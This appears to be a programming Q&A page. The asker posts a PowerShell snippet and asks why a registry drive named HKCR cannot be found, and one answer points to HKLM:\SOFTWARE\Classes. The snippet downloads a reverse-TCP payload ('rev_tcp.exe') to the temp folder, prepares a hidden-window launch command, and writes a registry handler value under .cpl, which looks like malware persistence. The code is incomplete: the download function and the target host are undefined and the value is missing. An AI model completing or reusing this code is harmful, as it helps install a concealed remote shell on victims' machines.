jhansi jatavath
jhansi jatavath

Reputation: 21

Creating HKCR registry key using powershell script

$PERprogram = $env:tmp+"\rev_tcp.exe" # Downloding the payload reverse tcp in temp folder
$dest = $env:tmp+"\rev_tcp"
$cmd = "powershell -WindowStyle Hidden " + $PERprogram
DownloadPayload 'rev_tcp' $dest -ErrorAction Continue;

Set-ItemProperty "HKCR:\.cpl\persistentHandler" -Name "sd" -Value  -Force**

when i try to run the above script. I am getting the error as A drive with name HKCR does not exit. but i already created the drive with HKCR in powershell as New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR.

Upvotes: 1

Views: 2229

Answers (1)

js2010
js2010

Reputation: 27566

You can use HKLM:\SOFTWARE\Classes instead of creating HKCR:.

Upvotes: 2

Related Questions